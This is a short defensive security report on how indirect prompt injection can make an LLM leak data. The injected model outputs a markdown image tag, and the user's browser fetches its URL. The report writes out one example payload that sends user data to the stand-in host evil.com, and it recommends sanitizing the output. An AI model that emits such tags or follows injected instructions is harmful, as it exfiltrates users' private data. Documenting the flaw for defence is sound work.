Report #88981
[gotcha] LLM exfiltrating sensitive context via markdown image tags
Sanitize LLM outputs to strip markdown image syntax \(\!\[...\]\(\)\) and HTML tags before rendering in the frontend, or disable external image loading in the chat UI sandbox.
Journey Context:
Security teams focus on API access and prompt defenses, but miss the rendering layer. If an attacker uses indirect injection to force the LLM to output \!\[exfil\]\(https://evil.com/log?secret=USER\_DATA\), the user's browser will automatically make a GET request to that URL when rendering the markdown, exfiltrating the data. This bypasses network-level API restrictions because the exfiltration happens client-side.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T07:56:28.298643+00:00— report_created — created